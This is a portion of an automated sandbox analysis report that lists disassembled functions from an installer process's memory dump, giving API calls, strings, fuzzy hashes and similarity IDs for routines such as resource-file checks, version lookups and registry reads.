Opcode Fuzzy Hash: 51e156fe4ae9d8c4085ff978898313fb6fa028abce0cf328b087925ea8d6992c
Instruction Fuzzy Hash: 23415E71900249EFCB10DFE4C984EDEBB75BF15318F144AA9E425A7B80C734DA48CB61

Function 6C90374B Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C903752

Part of subcall function 6C8C5D3F: __EH_prolog3.LIBCMT ref: 6C8C5D46
Part of subcall function 6C8C5D3F: GetModuleFileNameW.KERNEL32(6C8A0000,00000010,00000104,?,6C8F831D,00000000), ref: 6C8C5D93

Part of subcall function 6C8CC259: __EH_prolog3.LIBCMT ref: 6C8CC260

Part of subcall function 6C8F8E4A: PathAppendW.SHLWAPI(00000000,?,?,?,?,?,6C9099FD,00000000,00000000,?,?,?,00000000,?,UiInfo.xml), ref: 6C8F8E6E

PathFileExistsW.SHLWAPI(?,SetupResources.dll,00000000,00000738,00000000,6C8FFA6E,0000000C,6C903A05,?,6C8BA794,?), ref: 6C9037B7
PathFileExistsW.SHLWAPI(00000000,LocalizedData.xml,00000000,00000738,00000000), ref: 6C903846

Part of subcall function 6C8C39AD: __EH_prolog3.LIBCMT ref: 6C8C39B4

Strings

SetupResources.dll missing from %d directory, xrefs: 6C9037BE
LocalizedData.xml, xrefs: 6C903835
LocalizedData.xml missing from %d directory, xrefs: 6C90384D
SetupResources.dll, xrefs: 6C9037A0

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$FilePath$Exists$AppendModuleName
String ID: LocalizedData.xml$LocalizedData.xml missing from %d directory$SetupResources.dll$SetupResources.dll missing from %d directory
API String ID: 3590062302-1245617268
Opcode ID: 49844db2a5ecd67de3213de9afe3e8de17c1e34280629cecba9cb8e19bdc578e
Instruction ID: 8e36d880ffea78f24e0969183d3aa2c239699b5276bb6678284e8e3fcbda215f
Opcode Fuzzy Hash: 49844db2a5ecd67de3213de9afe3e8de17c1e34280629cecba9cb8e19bdc578e
Instruction Fuzzy Hash: 3231B171904109EFDF20DBB8CD42ADE77B4BF21328F144A65E424EBB95C730DA189BA5

Function 6C90101A Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C901021

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8CC406: RegOpenKeyExW.KERNEL32(80000002,?,00000000,00000001,?,?,?,?,?,6C9035F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType), ref: 6C8CC426
Part of subcall function 6C8CC406: RegQueryValueExW.KERNEL32(?,?,00000000,00000000,6C900F4A,00000004,?,?,?,6C9035F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType), ref: 6C8CC43F
Part of subcall function 6C8CC406: RegCloseKey.KERNEL32(?,?,?,?,6C9035F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType,?,02F92298,00000004,6C900F4A,?), ref: 6C8CC44E

GetLastError.KERNEL32(?,Software\Microsoft\DevDiv,?,?,PerfLab,?,?,0000000C,6C8FA58E,?,6C8BA794,?,02F92298,?,00000000,?), ref: 6C901092
GetLastError.KERNEL32(?,00000000,?,Failed to record IsInternal,?,Software\Microsoft\DevDiv,?,?,PerfLab,?,?,0000000C,6C8FA58E,?,6C8BA794,?), ref: 6C9010F0

Strings

Software\Microsoft\DevDiv, xrefs: 6C90104B
Failed to record IsInternal, xrefs: 6C9010A5
PerfLab, xrefs: 6C901032
Failed to record IsAdmin, xrefs: 6C901107

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ErrorH_prolog3Last$CloseOpenQueryValue
String ID: Failed to record IsAdmin$Failed to record IsInternal$PerfLab$Software\Microsoft\DevDiv
API String ID: 716194244-1174128248
Opcode ID: 97481d079971485e3675b031ba79ac832227fe6acfd36366aed34bf84ab6b61c
Instruction ID: 5c4da67ff7ab7ca6f2a2ea9d2aff292ce8fd6f7e3c65fddd9d00d0175413d390
Opcode Fuzzy Hash: 97481d079971485e3675b031ba79ac832227fe6acfd36366aed34bf84ab6b61c
Instruction Fuzzy Hash: 6531C671B00245EBD710CFA9CE059AE7BB9BF96358B200A2DE420E7B90C774DA05D661

Function 6C8C76AC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C76B3

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

GetModuleFileNameW.KERNEL32(00000000,00000010,00000104), ref: 6C8C7711
GetFileVersionInfoSizeW.KERNELBASE(00000010,?), ref: 6C8C772A
GetFileVersionInfoW.KERNELBASE(00000010,?,00000000,00000000), ref: 6C8C7745
VerQueryValueW.VERSION(00000000,6C8A496C,?,?), ref: 6C8C775D

Strings

%d.%d.%d.%d, xrefs: 6C8C7780
0.0.0.0, xrefs: 6C8C76BD

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: File$H_prolog3InfoVersion$ModuleNameQuerySizeValue
String ID: %d.%d.%d.%d$0.0.0.0
API String ID: 1538924429-464342551
Opcode ID: d3657c1b4862397d7d7c4f2e62d8de4f0da10e7fb967135d59f9d4b9e19cb46b
Instruction ID: 35943a3899e74b740800cf146d3b467568752a3ecf3295c1604914bc3315f4a6
Opcode Fuzzy Hash: d3657c1b4862397d7d7c4f2e62d8de4f0da10e7fb967135d59f9d4b9e19cb46b
Instruction Fuzzy Hash: CD318DB1A01219AFDB14DFA4CD84CBFB7B9BF55318B10492AE411A7B90D730D916DBA0

Function 6C8F7E78 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F7E7F

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8F8380: __EH_prolog3.LIBCMT ref: 6C8F8387

Strings

User Experience Data Collection Policy, xrefs: 6C8F7E97, 6C8F7E9C, 6C8F7EB6
Unknown, xrefs: 6C8F7ED3
UserControlled, xrefs: 6C8F7F03
Disabled, xrefs: 6C8F7EFC
AlwaysUploaded, xrefs: 6C8F7EF5
User Experience Data Collection Policy: %s, xrefs: 6C8F7F17

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: AlwaysUploaded$Disabled$Unknown$User Experience Data Collection Policy$User Experience Data Collection Policy: %s$UserControlled
API String ID: 431132790-3357067047
Opcode ID: a43c57af834fe7d519b92366a4fd54d52fe480bf2064c6760e8f0d7a3a9244a6
Instruction ID: 19884b2659e1774347593b7b38a295a61ef7bde743bd52df9ada0741592581b9
Opcode Fuzzy Hash: a43c57af834fe7d519b92366a4fd54d52fe480bf2064c6760e8f0d7a3a9244a6
Instruction Fuzzy Hash: 7E219171904109ABDF10DBE8CA45EDEBBF9AF25308F144856E160F7B81C734DA0AD7A5

Function 6C8E75C2 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E75C9

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

OpenFileMappingW.KERNEL32(00000002,00000000,00000000,?,6C8BAB18,00000008,6C8E76FE,?,?,00000004,6C90C454,?,6C8B95D4,00000000,00000001,?), ref: 6C8E75F2
GetLastError.KERNEL32(?,?,?,?,00000001), ref: 6C8E75FF

Part of subcall function 6C8CC338: __EH_prolog3.LIBCMT ref: 6C8CC33F

Part of subcall function 6C8F8CD5: __EH_prolog3.LIBCMT ref: 6C8F8CDC

MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000424,?,?,?,?,00000001), ref: 6C8E7654
UnmapViewOfFile.KERNEL32(00000000,?,0000021A,?,?,?,?,00000001), ref: 6C8E7670
CloseHandle.KERNEL32(00000000,?,?,?,?,00000001), ref: 6C8E7679

Strings

OpenFileMapping fails with last error: , xrefs: 6C8E760F

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$File$View$CloseErrorHandleLastMappingOpenUnmap
String ID: OpenFileMapping fails with last error:
API String ID: 2964829354-1738344248
Opcode ID: cd3ad49fd0cc917af3889bdae8576c60ed94473393176100c3971fc2dd33a075
Instruction ID: d7f6e9a0c834de5b7b750e96f41b10bd6b0275f9626be62624037d9e96f3149e
Opcode Fuzzy Hash: cd3ad49fd0cc917af3889bdae8576c60ed94473393176100c3971fc2dd33a075
Instruction Fuzzy Hash: D9215B71600118ABCB20DFA9CA09EDE7BB5FF5A358F108625F9259BB54C730CA05DB91

Function 6C90ACD8 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C90ACDF
GetTokenInformation.KERNELBASE(00000002,00000001(TokenIntegrityLevel),00000000,00000000,00000009,0000000C,6C8F49C0,6C8BA5D8,6C8BA54C), ref: 6C90AD06
GetLastError.KERNEL32 ref: 6C90AD08
GetTokenInformation.KERNELBASE(00000002,00000001(TokenIntegrityLevel),00000008,00000400,00000400,80070216), ref: 6C90AD81

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: InformationToken$ErrorH_prolog3_Last
String ID:
API String ID: 654496852-0
Opcode ID: b4fde8c31d97e8d97b86eb9506b595eb307f986b8159bf66c1fa8a7ade4e94e0
Instruction ID: 773eb9620879b6b3c4a30463da43112d88eee35ce4d2ccbd566bcaa720469f7e
Opcode Fuzzy Hash: b4fde8c31d97e8d97b86eb9506b595eb307f986b8159bf66c1fa8a7ade4e94e0
Instruction Fuzzy Hash: 06310132B40529DBCF11CF68C941ADE77B9AF15B69B214019E940BBA50CB30CE45CBE0

Function 6C8D5E2B Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C8C5D3F: __EH_prolog3.LIBCMT ref: 6C8C5D46
Part of subcall function 6C8C5D3F: GetModuleFileNameW.KERNEL32(6C8A0000,00000010,00000104,?,6C8F831D,00000000), ref: 6C8C5D93

Part of subcall function 6C8D5B82: __EH_prolog3_GS.LIBCMT ref: 6C8D5B8C
Part of subcall function 6C8D5B82: _memset.LIBCMT ref: 6C8D5BBB
Part of subcall function 6C8D5B82: FindFirstFileW.KERNEL32(?,?,????), ref: 6C8D5BDA
Part of subcall function 6C8D5B82: FindClose.KERNEL32(?), ref: 6C8D5CC1

__CxxThrowException@8.LIBCMT ref: 6C8D5FF0

Part of subcall function 6C918EAB: _memcpy_s.LIBCMT ref: 6C918EFC

Part of subcall function 6C8F8E4A: PathAppendW.SHLWAPI(00000000,?,?,?,?,?,6C9099FD,00000000,00000000,?,?,?,00000000,?,UiInfo.xml), ref: 6C8F8E6E

PathFileExistsW.SHLWAPI(?,LocalizedData.xml,?,?,?,38D98A99,ParameterInfo.xml,00000000,?,ParameterInfo.xml,?,00000000,?,?,ParameterInfo.xml), ref: 6C8D5EF1

Part of subcall function 6C8D5CE1: __EH_prolog3.LIBCMT ref: 6C8D5CE8
Part of subcall function 6C8D5CE1: CoInitialize.OLE32(00000000), ref: 6C8D5D1A
Part of subcall function 6C8D5CE1: CoCreateInstance.OLE32(6C8BA974,00000000,00000017,6C8BA9A4,?,?,?,00000014,6C8D5F14,?,?,?,?,38D98A99,ParameterInfo.xml,00000000), ref: 6C8D5D38
Part of subcall function 6C8D5CE1: CoUninitialize.COMBASE(?,?,00000014,6C8D5F14,?,?,?,?,38D98A99,ParameterInfo.xml,00000000,?,ParameterInfo.xml,?,00000000,?), ref: 6C8D5DE8
Part of subcall function 6C8D5CE1: SysFreeString.OLEAUT32(00000738), ref: 6C8D5DF1

Strings

LocalizedData.xml in resource folder %s, does not have a Language element, xrefs: 6C8D5F87
ParameterInfo.xml, xrefs: 6C8D5E45, 6C8D5FA2
LocalizedData.xml, xrefs: 6C8D5EDF
LocalizedData.xml is missing in resource folder %s. Every resource folder needs a LocalizedData.xml, xrefs: 6C8D6026

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: File$FindH_prolog3Path$AppendCloseCreateException@8ExistsFirstFreeH_prolog3_InitializeInstanceModuleNameStringThrowUninitialize_memcpy_s_memset
String ID: LocalizedData.xml$LocalizedData.xml in resource folder %s, does not have a Language element$LocalizedData.xml is missing in resource folder %s. Every resource folder needs a LocalizedData.xml$ParameterInfo.xml
API String ID: 2922719316-412676173
Opcode ID: 4563567076355a4f2a6407e931460d3e8ab3a9c938767b49ab543d3f47ec5c22
Instruction ID: 7b6e62eb53a7512f4f01bfd39ae3e68f61630d3e35f6dbcb4f84ff2e11598351
Opcode Fuzzy Hash: 4563567076355a4f2a6407e931460d3e8ab3a9c938767b49ab543d3f47ec5c22
Instruction Fuzzy Hash: F2615A725083859FC710DFA8C944A8AB7E8FF95318F054E6EF0A59BA51DB30E509CB93

Function 6C90401F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 98threadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C904026

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

GetThreadLocale.KERNEL32(?,DHTMLHeader.html), ref: 6C904041
GetModuleFileNameW.KERNEL32(6C8A0000,00000010,00000104), ref: 6C9040B3
PathFileExistsW.SHLWAPI(?,00000014,00000000), ref: 6C904101

Strings

%04d\%s, xrefs: 6C904069
DHTMLHeader.html, xrefs: 6C90402F

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: FileH_prolog3$ExistsLocaleModuleNamePathThread
String ID: %04d\%s$DHTMLHeader.html
API String ID: 3575165106-1224721414
Opcode ID: 604e8d05463472135efceb022f45c16a2a3545a7adafd62123dc7fbb9e8f4cfc
Instruction ID: fbe2d60e5570541ccf17fb55cda9627a67788a9b5c6a0c51ca69074f69f9cb5b
Opcode Fuzzy Hash: 604e8d05463472135efceb022f45c16a2a3545a7adafd62123dc7fbb9e8f4cfc
Instruction Fuzzy Hash: 4241A27191010ADFCF14DFA8CC45AEEBBB5BF21318F104929E111A7B51DB34DA0ACB94

Function 639533F3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41libraryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 639533FA
LoadLibraryW.KERNELBASE(?,00000008,63953377,?), ref: 63953427
GetLastError.KERNEL32 ref: 63953437

Part of subcall function 6394B93E: __EH_prolog3.LIBCMT ref: 6394B945

GetLastError.KERNEL32 ref: 6395344B
__CxxThrowException@8.LIBCMT ref: 6395346E

Strings

::LoadLibrary(%s) failed with error %d, xrefs: 6395343C

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ErrorH_prolog3Last$Exception@8LibraryLoadThrow
String ID: ::LoadLibrary(%s) failed with error %d
API String ID: 3804648058-20907036
Opcode ID: 7cbfec88d4243ec72b6c96a8fa5f5efb775a09f2fd4e93375f161ba9c91e331f
Instruction ID: ab2b43ed1b83d98d8045248c50b4c915a44568a2cf0f2cc702181b8879a157f7
Opcode Fuzzy Hash: 7cbfec88d4243ec72b6c96a8fa5f5efb775a09f2fd4e93375f161ba9c91e331f
Instruction Fuzzy Hash: 7F01DFB18042069FEB10EFA8C844B6E7BB0FF12B04F108124E018DF242DB30D9218FA1

Function 6C8C5485 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C548C
GetModuleHandleW.KERNEL32(kernel32.dll,0000002C,6C8C7DAF,?,?,?,?,?,00000000,?,?,6C8BAB18,00000008,6C8C7CD9), ref: 6C8C549C
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 6C8C54B9
GetNativeSystemInfo.KERNEL32(?), ref: 6C8C54E0

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Strings

kernel32.dll, xrefs: 6C8C5497
GetNativeSystemInfo, xrefs: 6C8C54B3

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$AddressHandleInfoModuleNativeProcSystem
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2427612476-192647395
Opcode ID: 6e04438b3e998a018113ca28b73e3ed3c219a15aa55988f34e923a885d621473
Instruction ID: d12d55b0574c0ff579d1d485eecbc9c689114f4a13bc88cd2af578b6d7a23540
Opcode Fuzzy Hash: 6e04438b3e998a018113ca28b73e3ed3c219a15aa55988f34e923a885d621473
Instruction Fuzzy Hash: 02F0C231B10615ABDF20DBA4DA04BCE3276AB90309F108C24F000E7F00DBBCD549E695

Function 63963E60 Relevance: 9.0, APIs: 6, Instructions: 49windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63963E67
SetWindowLongW.USER32(?,000000F4,00000066), ref: 63963E7B

Part of subcall function 6394FF14: EnumChildWindows.USER32(?,Function_0000FF39,?), ref: 6394FF21

GetParent.USER32(?), ref: 63963EB7
SendMessageW.USER32(00000000,00000485,00000000,00000066), ref: 63963EC2
GetParent.USER32(?), ref: 63963ECF
GetDesktopWindow.USER32 ref: 63963ED4

Part of subcall function 63968E26: HeapFree.KERNEL32(00000000,00000000,?,63969BCC,00000000,?,6396B575,63969054), ref: 63968E3C
Part of subcall function 63968E26: GetLastError.KERNEL32(00000000,?,63969BCC,00000000,?,6396B575,63969054), ref: 63968E4E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ParentWindow$ChildDesktopEnumErrorFreeH_prolog3HeapLastLongMessageSendWindows
String ID:
API String ID: 1093383602-0
Opcode ID: 491848130d23c3b46c4025fa47c59850825ca860e0373fed2c41d433f4c843bd
Instruction ID: 4ba417e681d4c52cc61d15ed7d0c7eee25b377d5ce541d2d133f48751edcb591
Opcode Fuzzy Hash: 491848130d23c3b46c4025fa47c59850825ca860e0373fed2c41d433f4c843bd
Instruction Fuzzy Hash: D6111870D00708DFDB21EFA9C98499EBBF4BF9AB44B10451AE125EB2A0DB71D910CF50

Function 6C8FF8D1 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C8FF8D8
GetCommandLineW.KERNEL32(00000044,6C8F8323,00000000), ref: 6C8FF8EA

Part of subcall function 6C8C3E77: __EH_prolog3.LIBCMT ref: 6C8C3E7E

__time64.LIBCMT ref: 6C8FFA7B

Part of subcall function 6C8F72E4: __EH_prolog3_catch.LIBCMT ref: 6C8F72EB

Strings

%TEMP%\, xrefs: 6C8FF992
Setup, xrefs: 6C8FF984

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3_catch$CommandH_prolog3Line__time64
String ID: %TEMP%\$Setup
API String ID: 3716462386-3413213476
Opcode ID: 1d73eb0969d54761b97ff035e6bc2467b3987314472f1be157ee755fc1a58ed8
Instruction ID: 90f7b5424578708fb97b8aafb355cd9bb1b90ab4ffe62f72c854c215609c49d2
Opcode Fuzzy Hash: 1d73eb0969d54761b97ff035e6bc2467b3987314472f1be157ee755fc1a58ed8
Instruction Fuzzy Hash: 92713A719002099FCB10CFA8CA84AEDBBF5BF59318F24456AE461B7790DB349A49CB61

Function 6C8E3EB2 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 157COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E3EB9

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Strings

ProcessBlocks, xrefs: 6C8E3EC5
SystemCheck, xrefs: 6C8E4012
ServiceBlocks, xrefs: 6C8E3F34
ProductDriveHints, xrefs: 6C8E3FA0

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: ProcessBlocks$ProductDriveHints$ServiceBlocks$SystemCheck
API String ID: 431132790-3784926136
Opcode ID: cb3ca5ce9fc7ddcbd0a0ee4fbb8115be6168f268398476f06b43ba0c0180cf1c
Instruction ID: 45a798294f2a57743a34112c59c52016665cd73f30d8a8e7e171e526917ded59
Opcode Fuzzy Hash: cb3ca5ce9fc7ddcbd0a0ee4fbb8115be6168f268398476f06b43ba0c0180cf1c
Instruction Fuzzy Hash: BA517071904249EFDF10DFA8CA45AEE7BB9AF0A318F144959F814DB781C734DA05CB61

Function 6C8F5691 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F5698
PathIsRelativeW.SHLWAPI(00000000,?), ref: 6C8F5735
